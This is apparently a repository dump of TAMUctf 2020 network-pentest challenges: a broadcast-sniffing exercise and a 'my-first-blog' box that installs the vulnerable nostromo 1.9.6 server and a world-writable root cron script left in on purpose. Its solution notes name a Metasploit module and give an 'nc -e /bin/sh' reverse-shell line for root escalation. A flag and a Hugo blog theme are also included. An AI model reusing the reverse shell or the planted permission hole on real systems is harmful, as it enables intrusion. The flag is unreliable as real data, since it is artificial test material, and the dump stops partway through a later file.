3 | ## Challenge 4 | Intro network exploit challenge where all the user has to do is listen to broadcast traffic. 5 | 6 | ## Setup 7 | Place the challenge files into the `listen` folder in the Naumachia challenges folder. 8 | Add the challenge to the `config.yml` file: 9 | ``` 10 | challenges: 11 | # [required] An indiviual challenge config. The key is the challenge name 12 | # This should be a valid unix filename and preferably short 13 | listen: 14 | # [default: 1194] The exposed external port for this challenges OpenVPN server 15 | port: 2000 16 | # [required] The compose files to which define this challenge 17 | # Paths should be relative to the challenges directory 18 | files: 19 | - listen/docker-compose.yml 20 | ``` 21 | 22 | ## Solution 23 | 1. VPN into the environment 24 | 2. Set the `tap0` interface to up (`ip link set tap0 up`) 25 | 3. Listen on `tap0` using either wireshark or `tcpdump -i tap0 -A` 26 | 4. Wait until the flag appears 27 | -------------------------------------------------------------------------------- /NetworkPentest/listen/actor/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.5-alpine 2 | COPY ./script.txt ./script.txt 3 | COPY ./actor.py ./actor.py 4 | CMD ["python", "./actor.py"] 5 | -------------------------------------------------------------------------------- /NetworkPentest/listen/actor/actor.py: -------------------------------------------------------------------------------- 1 | from socket import socket, timeout, AF_INET, SOCK_DGRAM, SO_BROADCAST, SOL_SOCKET 2 | from time import sleep, time 3 | from random import random 4 | import os 5 | import sys 6 | 7 | UDP_PORT = 5005 8 | RESTART_DELAY = 15 9 | 10 | print("UDP port:", UDP_PORT) 11 | sys.stdout.flush() 12 | 13 | s = socket(AF_INET, SOCK_DGRAM) 14 | s.bind(('', UDP_PORT)) 15 | s.setsockopt(SOL_SOCKET, SO_BROADCAST, 1) 16 | 17 | def broadcast(msg): 18 | s.sendto(msg.encode('utf-8'), ('172.30.0.15', UDP_PORT)) 19 | print(msg) 20 | sys.stdout.flush() 21 | 22 | 23 | while True: 24 | sleep(RESTART_DELAY) 25 | with open('script.txt', 'r') as script: 26 | for line in script: 27 | sleep(1) 28 | broadcast(line) 29 | -------------------------------------------------------------------------------- /NetworkPentest/listen/config.yml: -------------------------------------------------------------------------------- 1 | # [default: None] A domain name to append to challenge names to create their default common name 2 | domain: naum.tamuctf.com 3 | 4 | # [default: './challenges'] The directory which contains your challenges 5 | # If the the path is relative, it will be relative to the generated docker-compose.yml file 6 | challenges_directory: ./challenges 7 | 8 | # [required] Configurations for each challenge 9 | challenges: 10 | listen: 11 | port: 2000 12 | files: 13 | - listen/docker-compose.yml 14 | commonname: 10.0.2.9 15 | ifconfig_push: 172.30.0.14/28 16 | -------------------------------------------------------------------------------- /NetworkPentest/listen/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '2.4' 2 | 3 | x-limits: &limits 4 | pids_limit: 1024 5 | cpu_shares: 256 6 | mem_limit: 512m 7 | logging: 8 | options: 9 | max-size: 10m 10 | max-file: '3' 11 | 12 | services: 13 | hitchhiker: 14 | <<: *limits 15 | build: ./actor 16 | image: naumachia/listen.actor 17 | networks: 18 | default: 19 | ipv4_address: 172.30.0.2 20 | restart: unless-stopped 21 | 22 | networks: 23 | default: 24 | driver: l2bridge 25 | ipam: 26 | driver: static 27 | config: 28 | - subnet: 172.30.0.0/28 29 | -------------------------------------------------------------------------------- /NetworkPentest/my-first-blog/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM gcc as build 2 | ADD http://www.nazgul.ch/dev/nostromo-1.9.6.tar.gz /tmp/nostromo-1.9.6.tar.gz 3 | RUN tar -xvzf /tmp/nostromo-1.9.6.tar.gz -C /tmp 4 | 5 | RUN apt-get update 6 | RUN apt-get install groff man-db hugo -y 7 | 8 | WORKDIR /tmp/nostromo-1.9.6 9 | RUN make 10 | 11 | COPY website_source /tmp/website_source 12 | 13 | WORKDIR /tmp/website_source 14 | 15 | RUN hugo 16 | 17 | FROM ubuntu:18.04 18 | 19 | RUN apt update 20 | RUN apt -y install cron netcat make libssl-dev wget 21 | 22 | COPY --from=build /tmp/nostromo-1.9.6 /tmp/nostromo-1.9.6 23 | WORKDIR /tmp/nostromo-1.9.6 24 | 25 | RUN make install 26 | RUN sed -i 's/_nostromo/webserver/' /tmp/nostromo-1.9.6/conf/nhttpd.conf-dist 27 | RUN sed -i 's/www.nazgul.ch/localhost/' /tmp/nostromo-1.9.6/conf/nhttpd.conf-dist 28 | RUN cp /tmp/nostromo-1.9.6/conf/nhttpd.conf-dist /var/nostromo/conf/nhttpd.conf 29 | RUN rm -rf /tmp/nostromo-1.9.6 30 | RUN useradd webserver -d /var/nostromo/htdocs 31 | RUN chown -R webserver:daemon /var/nostromo/* 32 | 33 | RUN echo "* * * * * root /usr/bin/healthcheck" >> /etc/crontab 34 | 35 | COPY healthcheck.sh /usr/bin/healthcheck 36 | COPY start.sh /tmp/start.sh 37 | 38 | RUN chmod 777 /usr/bin/healthcheck 39 | 40 | COPY flag.txt /root/flag.txt 41 | 42 | COPY --from=build /tmp/website_source/public /var/nostromo/htdocs 43 | 44 | 45 | ENTRYPOINT ["bash","/tmp/start.sh"] 46 | -------------------------------------------------------------------------------- /NetworkPentest/my-first-blog/README.md: -------------------------------------------------------------------------------- 1 | # My first blog 2 | 3 | ```text 4 | Here is a link to my new blog! I read about a bunch of exploits in common server side blog tools so I just decided to make my website static. Hopefully that should keep it secure. 5 | ``` 6 | 7 | ## Setup 8 | 9 | 1. `docker build -t my-first-blog .` 10 | 2. `docker run --rm -it my-first-blog` 11 | 12 | ## Brief Dev Description 13 | 14 | The challenge has two stages. Gaining a shell by using an exploit in nostromo and then gaining root by taking advantage of the world writeable /usr/bin/healthcheck. healthcheck is run as root by a cron job every minute so if you add code the make a reverse shell at the end then you can get a root shell and thus the flag. 15 | 16 | ## Solution 17 | 18 | 1. metasploit has a module for this vulnerability (exploit/multi/http/nostromo_code_exec) so thats the simplest method. Set your rhosts/lhost/payload appropriately and then exploit. 19 | 3. setup a reverse shell listener on your computer - `nc -lvp 4445` 20 | 3. You'll need to write a reverse shell command to the end of /usr/bin/healthcheck. It can be done with `echo "\nnc -e /bin/sh 127.0.0.1 4445" >> /usr/bin/healthcheck` 21 | 4. wait about a minute 22 | 5. cat flag.txt -------------------------------------------------------------------------------- /NetworkPentest/my-first-blog/config.yml: -------------------------------------------------------------------------------- 1 | # [default: None] A domain name to append to challenge names to create their default common name 2 | domain: naum.tamuctf.com 3 | 4 | # [default: './challenges'] The directory which contains your challenges 5 | # If the the path is relative, it will be relative to the generated docker-compose.yml file 6 | challenges_directory: ./challenges 7 | 8 | # [required] Configurations for each challenge 9 | challenges: 10 | my-first-blog: 11 | port: 2002 12 | files: 13 | - my-first-blog/docker-compose.yml 14 | commonname: 10.0.2.9 15 | ifconfig_push: 172.30.0.14/28 -------------------------------------------------------------------------------- /NetworkPentest/my-first-blog/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '2.4' 2 | 3 | x-limits: &limits 4 | pids_limit: 1024 5 | cpu_shares: 256 6 | mem_limit: 512m 7 | logging: 8 | options: 9 | max-size: 10m 10 | max-file: '3' 11 | 12 | services: 13 | my-first-blog: 14 | <<: *limits 15 | build: . 16 | image: naumachia/my-first-blog.actor 17 | networks: 18 | default: 19 | ipv4_address: 172.30.0.2 20 | restart: unless-stopped 21 | 22 | networks: 23 | default: 24 | driver: l2bridge 25 | ipam: 26 | driver: static 27 | config: 28 | - subnet: 172.30.0.0/28 29 | -------------------------------------------------------------------------------- /NetworkPentest/my-first-blog/flag.txt: -------------------------------------------------------------------------------- 1 | gigem{l1m17_y0ur_p3rm15510n5} -------------------------------------------------------------------------------- /NetworkPentest/my-first-blog/healthcheck.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | nc -z localhost 80 3 | if [ $? == 1 ]; then 4 | echo "nhttpd is dead, restarting." 5 | nhttpd 6 | fi -------------------------------------------------------------------------------- /NetworkPentest/my-first-blog/start.sh: -------------------------------------------------------------------------------- 1 | cron 2 | nhttpd 3 | 4 | while true; do 5 | sleep 1000000 6 | done 7 | -------------------------------------------------------------------------------- /NetworkPentest/my-first-blog/website_source/archetypes/default.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: "{{ replace .Name "-" " " | title }}" 3 | date: {{ .Date }} 4 | draft: true 5 | --- 6 | 7 | -------------------------------------------------------------------------------- /NetworkPentest/my-first-blog/website_source/config.toml: -------------------------------------------------------------------------------- 1 | baseURL = "" 2 | languageCode = "en-US" 3 | title = "My first blog!" 4 | theme = "easybook" 5 | 6 | pygmentsCodefences = true 7 | pygmentsUseClasses = true 8 | pygmentsCodefencesGuessSyntax = true 9 | 10 | paginate = 3 11 | [[menu.main]] 12 | name = "Home" 13 | weight = 10 14 | url = "/" 15 | 16 | # site info 17 | [params] 18 | author = "lucia.turner" 19 | whoami = "" 20 | avatar = "/images/avatar.jpg" 21 | keywords = [""] 22 | description = "" 23 | 24 | # Link custom CSS and JS assets 25 | # (relative to /static/css and /static/js respectively) 26 | customCSS = [] 27 | customJS = [] -------------------------------------------------------------------------------- /NetworkPentest/my-first-blog/website_source/content/post/first.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: "First post!" 3 | date: 2020-01-27T13:01:33-06:00 4 | draft: false 5 | --- 6 | 7 | This is the first post for my new blog! I read about a bunch of exploits in common server side blog tools so I just decided to make my website static. Hopefully that should keep it secure. -------------------------------------------------------------------------------- /NetworkPentest/my-first-blog/website_source/static/images/avatar.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tamuctf/TAMUctf-2020/d0db09bc428570036a4ae88f853194821f57bee8/NetworkPentest/my-first-blog/website_source/static/images/avatar.jpg -------------------------------------------------------------------------------- /NetworkPentest/my-first-blog/website_source/themes/easybook/.gitignore: -------------------------------------------------------------------------------- 1 | .git/ -------------------------------------------------------------------------------- /NetworkPentest/my-first-blog/website_source/themes/easybook/LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2019 Y4er 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy of 6 | this software and associated documentation files (the "Software"), to deal in 7 | the Software without restriction, including without limitation the rights to 8 | use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of 9 | the Software, and to permit persons to whom the Software is furnished to do so, 10 | subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS 17 | FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR 18 | COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER 19 | IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN 20 | CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 21 | -------------------------------------------------------------------------------- /NetworkPentest/my-first-blog/website_source/themes/easybook/README.md: -------------------------------------------------------------------------------- 1 | # EasyBook 2 | 3 | EasyBook is ported from [jekyll-theme-EasyBook](https://github.com/laobubu/jekyll-theme-EasyBook), simple but powerful. Passed the test in Hugo v0.58.3. 4 | 5 | [Demo](http://y4er.com) [中文README](https://github.com/Y4er/hugo-theme-easybook/blob/master/README_ZH.md) 6 | 7 | # Screenshots 8 | ![Screenshots](https://raw.githubusercontent.com/Y4er/hugo-theme-easybook/master/images/screenshot.png) 9 | 10 | # Start 11 | 12 | Please refer to [Official Document](https://gohugo.io/getting-started/quick-start/) before starting. 13 | 14 | ``` 15 | hugo new site myblog 16 | cd myblog 17 | git clone https://github.com/Y4er/hugo-theme-easybook themes/easybook 18 | cp themes/easybook/exampleSite/config.toml config.toml 19 | hugo new post\helloworld.md 20 | hugo server 21 | ``` 22 | 23 | # Features 24 | 25 | - Recent articles 26 | - Image lazy loading 27 | - Lightbox 28 | - Baidu push statistics 29 | - Google stats 30 | - Automatic catalog 31 | - Multiple comment systems 32 | - Code highlighting 33 | - 😁 expression 34 | - Custom js, css 35 | - Shortcode 36 | 37 | # THINKS 38 | 39 | This warehouse is based on a number of open source topics, and I would like to thank you. 40 | - [jekyll-theme-EasyBook](https://github.com/laobubu/jekyll-theme-EasyBook) 41 | - [hugo-theme-even](https://github.com/olOwOlo/hugo-theme-even) 42 | 43 | Many references to the [Official Theme Development Document](https://gohugo.io/templates/) during development. 44 | 45 | # LICENSE 46 | 47 | [The MIT License (MIT)](https://github.com/Y4er/hugo-theme-easybook/blob/master/LICENSE) -------------------------------------------------------------------------------- /NetworkPentest/my-first-blog/website_source/themes/easybook/README_ZH.md: -------------------------------------------------------------------------------- 1 | # EasyBook 2 | 3 | EasyBook移植自[jekyll-theme-EasyBook](https://github.com/laobubu/jekyll-theme-EasyBook),简洁但强大。在Hugo v0.58.3中测试通过。 4 | 5 | [Demo](http://y4er.com) [English Document](https://github.com/Y4er/hugo-theme-easybook/blob/master/README.md) 6 | 7 | # 截图 8 | ![Screenshots](https://raw.githubusercontent.com/Y4er/hugo-theme-easybook/master/images/screenshot.png) 9 | 10 | # 开始 11 | 12 | 开始前请参考[官方文档](https://gohugo.io/getting-started/quick-start/) 13 | ``` 14 | hugo new site myblog 15 | cd myblog 16 | git clone https://github.com/Y4er/hugo-theme-easybook themes/easybook 17 | cp themes/easybook/exampleSite/config.toml config.toml 18 | hugo new post\helloworld.md 19 | hugo server 20 | ``` 21 | 22 | # 功能 23 | 24 | - 最近文章 25 | - 图片懒加载 26 | - 灯箱 27 | - 百度推送统计 28 | - 谷歌统计 29 | - 自动目录 30 | - 多个评论系统 31 | - 代码高亮 32 | - 😁表情 33 | - 自定义js、css 34 | - shortcode 35 | 36 | # 鸣谢 37 | 38 | 本仓库参考多个开源主题,在此鸣谢。 39 | - [jekyll-theme-EasyBook](https://github.com/laobubu/jekyll-theme-EasyBook) 40 | - [hugo-theme-even](https://github.com/olOwOlo/hugo-theme-even) 41 | 42 | 开发过程中多次参考[官方主题开发文档](https://gohugo.io/templates/) 43 | 44 | # LICENSE 45 | 46 | [The MIT License (MIT)](https://github.com/Y4er/hugo-theme-easybook/blob/master/LICENSE) -------------------------------------------------------------------------------- /NetworkPentest/my-first-blog/website_source/themes/easybook/archetypes/default.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: "{{ replace .TranslationBaseName "-" " " | title }}" 3 | date: {{ .Date }} 4 | lastmod: {{ .Date }} 5 | draft: false 6 | tags: [] 7 | categories: [] 8 | --- 9 | 10 | 11 | -------------------------------------------------------------------------------- /NetworkPentest/my-first-blog/website_source/themes/easybook/exampleSite/content/about.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: "About" 3 | date: 2017-08-20T21:38:52+08:00 4 | lastmod: 2017-08-28T21:41:52+08:00 5 | weight: 50 6 | 7 | --- 8 | 9 | Hugo is a static site engine written in Go. 10 | 11 | 12 | It makes use of a variety of open source projects including: 13 | 14 | * [Cobra](https://github.com/spf13/cobra) 15 | * [Viper](https://github.com/spf13/viper) 16 | * [J Walter Weatherman](https://github.com/spf13/jWalterWeatherman) 17 | * [Cast](https://github.com/spf13/cast) 18 | 19 | Learn more and contribute on [GitHub](https://github.com/gohugoio). 20 | 21 | -------------------------------------------------------------------------------- /NetworkPentest/my-first-blog/website_source/themes/easybook/exampleSite/content/post/chinese-preview.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: "[中文] 《长恨歌》" 3 | date: 2017-08-30T01:37:56+08:00 4 | lastmod: 2017-08-30T01:37:56+08:00 5 | draft: false 6 | tags: ["preview", "中文", "tag-1"] 7 | categories: ["中文"] 8 | author: "Wikipedia" 9 | 10 | contentCopyright: 'Creative Commons Attribution-ShareAlike License' 11 | 12 | --- 13 | 14 | >《长恨歌》是中国唐朝诗人白居易的一首长篇叙事诗。 15 | 16 | # 第一段:贵妃受宠爱 17 | 18 | 汉皇重色思倾国,御宇多年求不得。杨家有女初长成,养在深闺人未识。 19 | 20 | 天生丽质难自弃,一朝选在君王侧。回眸一笑百媚生,六宫粉黛无颜色。 21 | 22 | 春寒赐浴华清池,温泉水滑洗凝脂。侍儿扶起娇无力,始是新承恩泽时。 23 | 24 | 云鬓花颜金步摇,芙蓉帐暖度春宵。春宵苦短日高起,从此君王不早朝。 25 | 26 | 承欢侍宴无闲暇,春从春游夜专夜。后宫佳丽三千人,三千宠爱在一身。 27 | 28 | 金屋妆成娇侍夜,玉楼宴罢醉和春。姊妹弟兄皆列士,可怜光彩生门户。 29 | 30 | 遂令天下父母心,不重生男重生女。骊宫高处入青云,仙乐风飘处处闻。 31 | 32 | 缓歌慢舞凝丝竹,尽日君王看不足。渔阳鼙鼓动地来,惊破霓裳羽衣曲。 33 | 34 | # 第二段:马嵬惊变 35 | 36 | 九重城阙烟尘生,千乘万骑西南行。翠华摇摇行复止,西出都门百余里。 37 | 38 | 六军不发无奈何,宛转蛾眉马前死。花钿委地无人收,翠翘金雀玉搔头。 39 | 40 | 君王掩面救不得,回看血泪相和流。黄埃散漫风萧索,云栈萦纡登剑阁。 41 | 42 | 峨嵋山下少人行,旌旗无光日色薄。蜀江水碧蜀山青,圣主朝朝暮暮情。 43 | 44 | 行宫见月伤心色,夜雨闻铃肠断声。 45 | 46 | # 第三段:玄宗皇帝思念 47 | 48 | 天旋地转回龙驭,到此踌躇不能去。马嵬坡下泥土中,不见玉颜空死处。 49 | 50 | 君臣相顾尽霑衣,东望都门信马归。归来池苑皆依旧,太液芙蓉未央柳。 51 | 52 | 芙蓉如面柳如眉,对此如何不泪垂。春风桃李花开日,秋雨梧桐叶落时。 53 | 54 | 西宫南内多秋草,落叶满阶红不扫。梨园弟子白发新,椒房阿监青娥老。 55 | 56 | 夕殿萤飞思悄然,孤灯挑尽未成眠。迟迟钟鼓初长夜,耿耿星河欲曙天。 57 | 58 | 鸳鸯瓦冷霜华重,翡翠衾寒谁与共。悠悠生死别经年,魂魄不曾来入梦。 59 | 60 | # 第四段:仙界寻妃 61 | 62 | 临邛道士鸿都客,能以精诚致魂魄。为感君王辗转思,遂教方士殷勤觅。 63 | 64 | 排空驭气奔如电,升天入地求之遍。上穷碧落下黄泉,两处茫茫皆不见。 65 | 66 | 忽闻海上有仙山,山在虚无缥缈间。楼阁玲珑五云起,其中绰约多仙子。 67 | 68 | 中有一人字太真,雪肤花貌参差是。金阙西厢叩玉扃,转教小玉报双成。 69 | 70 | 闻道汉家天子使,九华帐里梦魂惊。揽衣推枕起徘徊,珠箔银屏迤逦开。 71 | 72 | 云髻(鬓?)半偏新睡觉,花冠不整下堂来。风吹仙袂飘飘(飖)举,犹似霓裳羽衣舞。 73 | 74 | 玉容寂寞泪阑干,梨花一枝春带雨。含情凝睇谢君王,一别音容两渺茫。 75 | 76 | 昭阳殿里恩爱绝,蓬莱宫中日月长。回头下望人寰处,不见长安见尘雾。 77 | 78 | 唯将旧物表深情,钿合金钗寄将去。钗留一股合一扇,钗擘黄金合分钿。 79 | 80 | 但教心似金钿坚,天上人间会相见。临别殷勤重寄词,词中有誓两心知。 81 | 82 | 七月七日长生殿,夜半无人私语时。在天愿作比翼鸟,在地愿为连理枝。 83 | 84 | 天长地久有时尽,此恨绵绵无绝期。 85 | -------------------------------------------------------------------------------- /NetworkPentest/my-first-blog/website_source/themes/easybook/exampleSite/static/images/avatar.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tamuctf/TAMUctf-2020/d0db09bc428570036a4ae88f853194821f57bee8/NetworkPentest/my-first-blog/website_source/themes/easybook/exampleSite/static/images/avatar.jpg -------------------------------------------------------------------------------- /NetworkPentest/my-first-blog/website_source/themes/easybook/images/screenshot.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tamuctf/TAMUctf-2020/d0db09bc428570036a4ae88f853194821f57bee8/NetworkPentest/my-first-blog/website_source/themes/easybook/images/screenshot.png -------------------------------------------------------------------------------- /NetworkPentest/my-first-blog/website_source/themes/easybook/images/tn.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tamuctf/TAMUctf-2020/d0db09bc428570036a4ae88f853194821f57bee8/NetworkPentest/my-first-blog/website_source/themes/easybook/images/tn.png -------------------------------------------------------------------------------- /NetworkPentest/my-first-blog/website_source/themes/easybook/layouts/404.html: -------------------------------------------------------------------------------- 1 | {{- define "title" }}404 page not found - {{ .Site.Title }}{{ end -}} 2 | 3 | {{- define "content" -}} 4 |
5 | 6 |
7 |

Page Not Found

8 |
9 |
10 |

Seems disappeared :(

11 |
12 |
13 | {{- end -}} 14 | -------------------------------------------------------------------------------- /NetworkPentest/my-first-blog/website_source/themes/easybook/layouts/_default/baseof.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {{ partial "head.html" . }} 6 | 7 | 8 | 9 |
10 | {{/* header */}} 11 |
12 | {{ partial "header.html" . }} 13 |
14 | 15 | {{/* body */}} 16 |
17 |
18 | {{/* posts */}} 19 |
20 | {{ block "content" . }}{{ end }} 21 |
22 | {{/* sidebar */}} 23 |
24 | {{ partial "sidebar.html" . }} 25 |
26 |
27 |
28 | {{/* footer */}} 29 |
30 | {{ partial "footer.html" . }} 31 |
32 | {{/* script */}} 33 | {{ partial "script.html" . }} 34 | 35 | 36 | -------------------------------------------------------------------------------- /NetworkPentest/my-first-blog/website_source/themes/easybook/layouts/_default/list.html: -------------------------------------------------------------------------------- 1 | {{- define "content" }} 2 |
3 |

Category

4 |
5 |
    6 | {{ range $key,$value := .Site.Taxonomies.categories }} 7 | {{ upper $key }}[{{ len $value }}] 8 | {{ end }} 9 |
10 |
11 |
    12 | {{/* {{ range $key,$value := .Site.Taxonomies.tags }} */}} 13 | {{ range $key,$value := .Site.Taxonomies.categories }} 14 |

    {{ upper $key }}

    15 |
      16 | {{ range $value }} 17 |
    • {{ .Date.Format "Jan 02" }} » {{ title .Title }}
    • 18 | {{ end }} 19 |
    20 | {{ end }} 21 |
22 |
23 | {{- end }} -------------------------------------------------------------------------------- /NetworkPentest/my-first-blog/website_source/themes/easybook/layouts/_default/single.html: -------------------------------------------------------------------------------- 1 | {{ define "content" -}} 2 |
3 | 4 |
5 |

{{ title .Title}}

6 |
7 |
8 | {{ $reAltIn := "\"([^\"]+)?\"" }} 9 | {{ $reAltOut := "
\"$2\"
" }} 10 | {{ $altContent := .Content | replaceRE $reAltIn $reAltOut | safeHTML }} 11 | {{ $reAltTitleIn := "\"([^\"]+)?\"" }} 12 | {{ $reAltTitleOut := "
\"$2\"
" }} 13 | {{ $finalContent := $altContent | replaceRE $reAltTitleIn $reAltTitleOut | safeHTML }} 14 | {{ $finalContent }} 15 |
16 |
17 | {{- end }} -------------------------------------------------------------------------------- /NetworkPentest/my-first-blog/website_source/themes/easybook/layouts/index.html: -------------------------------------------------------------------------------- 1 | {{- define "content" -}} 2 |
3 | RSS 4 | SITEMAP 5 |

Articles

6 | {{/* content */}} 7 |
    8 | {{ $paginator := .Paginate (where .Site.RegularPages "Type" "post") }} 9 | 10 | {{ range $paginator.Pages }} 11 |
  • 12 |

    {{ title .Title | safeHTML }}

    13 | 14 |
    15 | {{ .Summary | safeHTML }} 16 |
    17 |
  • 18 | {{ end }} 19 |
20 | 21 | 30 |
31 | {{- end -}} -------------------------------------------------------------------------------- /NetworkPentest/my-first-blog/website_source/themes/easybook/layouts/partials/footer.html: -------------------------------------------------------------------------------- 1 |
2 | © {{ now.Format "2006" }} {{ .Site.Params.author }} 3 |
-------------------------------------------------------------------------------- /NetworkPentest/my-first-blog/website_source/themes/easybook/layouts/partials/header.html: -------------------------------------------------------------------------------- 1 |
2 | 3 | {{/* 首页左上角作者名 */}} 4 | {{ .Site.Params.author }} 5 | {{/* 右上角导航 */}} 6 | 11 |
12 | -------------------------------------------------------------------------------- /NetworkPentest/my-first-blog/website_source/themes/easybook/layouts/partials/prevnext.html: -------------------------------------------------------------------------------- 1 | {{ $prev := .PrevInSection }} 2 | {{ $next := .NextInSection }} 3 | 4 | {{ if or $prev $next }} 5 | 21 | {{ end }} -------------------------------------------------------------------------------- /NetworkPentest/my-first-blog/website_source/themes/easybook/layouts/partials/script.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | {{- if and (not .Site.IsServer) .Site.GoogleAnalytics -}} 13 | {{ template "_internal/google_analytics_async.html" . }} 14 | {{- end -}} 15 | 16 | {{- with .Site.Params.baiduAnalytics -}} 17 | 27 | {{- end }} 28 | 29 | 30 | {{- if .Site.Params.baiduPush -}} 31 | 46 | {{- end }} 47 | 48 | 49 | {{ range .Site.Params.customJS -}} 50 | 51 | {{ end }} -------------------------------------------------------------------------------- /NetworkPentest/my-first-blog/website_source/themes/easybook/layouts/partials/sidebar.html: -------------------------------------------------------------------------------- 1 |
2 | {{ .Site.Params.author }} 3 |
{{ .Site.Params.author }}
4 |

{{ .Site.Params.whoami }}

5 |

6 | {{- range $name, $path := .Site.Params.social }} 7 | {{- if $path }} 8 | {{ title $name }} 9 | {{- end }} 10 | {{- end }} 11 |

12 |
13 | 14 |
15 |
Newest Posts
16 |
    17 | {{ range first 15 .Site.RegularPages }} 18 |
  • 19 | {{ title .Title }} 20 |
  • 21 | {{ end }} 22 |
23 |
24 | 25 |
26 |
TOC
27 |
-------------------------------------------------------------------------------- /NetworkPentest/my-first-blog/website_source/themes/easybook/layouts/post/single.html: -------------------------------------------------------------------------------- 1 | {{ define "content" -}} 2 |
3 | 4 |
5 |

{{ title .Title}}

6 | 7 |
8 |
9 | {{ $reAltIn := "\"([^\"]+)?\"" }} 10 | {{ $reAltOut := "
\"$2\"
" }} 11 | {{ $altContent := .Content | replaceRE $reAltIn $reAltOut | safeHTML }} 12 | {{ $reAltTitleIn := "\"([^\"]+)?\"" }} 13 | {{ $reAltTitleOut := "
\"$2\"
" }} 14 | {{ $finalContent := $altContent | replaceRE $reAltTitleIn $reAltTitleOut | safeHTML }} 15 | {{ $finalContent }} 16 |
17 | 18 | 19 |
20 | {{ partial "prevnext" . }} 21 |
22 | 23 |
24 | {{ partial "comments" . }} 25 |
26 |
27 | {{- end }} -------------------------------------------------------------------------------- /NetworkPentest/my-first-blog/website_source/themes/easybook/layouts/shortcodes/music.html: -------------------------------------------------------------------------------- 1 | 2 | {{/* 3 | ## Music 163 4 | 5 | ### Params: 6 | 7 | - `id` 8 | 9 | required param 10 | you can extract from music url 11 | url format "http://music.163.com/#/song?id=3950552" 12 | 13 | - Fiddle `auto` 14 | 15 | optional param 16 | default value 0 17 | you can overwrite it with 1 18 | 19 | ### Examples: 20 | 21 | - Simple 22 | 23 | {{% music "3950552" %}} 24 | {{% music "3950552" "1" %}} 25 | 26 | - Named Params 27 | 28 | {{% music id="3950552" %}} 29 | {{% music id="3950552" auto="1" %}} 30 | 31 | */}} 32 | 33 | {{- /* DEFAULTS */ -}} 34 | {{ $auto := "0" }} 35 | 36 | {{- if .IsNamedParams -}} 37 | 38 | 48 | 49 | {{- else -}} 50 | 51 | 61 | 62 | {{- end -}} -------------------------------------------------------------------------------- /NetworkPentest/my-first-blog/website_source/themes/easybook/static/images/lazy.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tamuctf/TAMUctf-2020/d0db09bc428570036a4ae88f853194821f57bee8/NetworkPentest/my-first-blog/website_source/themes/easybook/static/images/lazy.gif -------------------------------------------------------------------------------- /NetworkPentest/my-first-blog/website_source/themes/easybook/static/js/figure.js: -------------------------------------------------------------------------------- 1 | $(document).ready(function () { 2 | let items = []; 3 | $('.post-content figure').each(function () { 4 | if ($(this).attr('class') == 'gallery-ignore') return true; // ignore any figures where class="pswp-ignore" 5 | // get properties from child a/img/figcaption elements, 6 | let $figure = $(this), 7 | $img = $figure.find('img'), 8 | $src = $img.attr('data-src'), 9 | $title = $figure.find('figcaption').html(); 10 | 11 | if ($img.data('size')) { 12 | let $size = $a.data('size').split('x'); 13 | var item = { 14 | 'src': $src, 15 | 'thumb': $src, 16 | 'subHtml': $title, 17 | 'width': $size[0], 18 | 'height': $size[1] 19 | } 20 | } else { 21 | var item = { 22 | 'src': $src, 23 | 'thumb': $src, 24 | 'subHtml': $title 25 | } 26 | var img = new Image(); 27 | img.src = $src; 28 | var wait = setInterval(function () { 29 | var w = img.naturalWidth, 30 | h = img.naturalHeight; 31 | if (w && h) { 32 | clearInterval(wait); 33 | item.width = w; 34 | item.height = h; 35 | } 36 | }, 30); 37 | } 38 | 39 | var index = items.length; 40 | items.push(item); 41 | // console.log(item) 42 | 43 | $figure.on('click', function (event) { 44 | event.preventDefault(); 45 | $(this).lightGallery({ 46 | dynamic: true, 47 | download: false, 48 | showThumbByDefault: true, 49 | dynamicEl: items, 50 | index: index, 51 | thumbnail: true, 52 | }) 53 | }); 54 | }); 55 | }); -------------------------------------------------------------------------------- /NetworkPentest/my-first-blog/website_source/themes/easybook/theme.toml: -------------------------------------------------------------------------------- 1 | # theme.toml template for a Hugo theme 2 | # See https://github.com/gohugoio/hugoThemes#themetoml for an example 3 | 4 | name = "Easybook" 5 | license = "MIT" 6 | licenselink = "https://github.com/Y4er/easybook/blob/master/LICENSE" 7 | description = "Easybook is a simple hugo theme." 8 | homepage = "http://Y4er.com/" 9 | tags = ['hugo','simple'] 10 | features = ['simple'] 11 | min_version = "0.52" 12 | 13 | [author] 14 | name = "Y4er" 15 | homepage = "http://Y4er.com" 16 | 17 | # If porting an existing theme 18 | [original] 19 | name = "jekyll-theme-EasyBook" 20 | homepage = "http://laobubu.net/jekyll-theme-EasyBook/" 21 | repo = "https://github.com/laobubu/jekyll-theme-EasyBook" 22 | -------------------------------------------------------------------------------- /NetworkPentest/obituary/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM 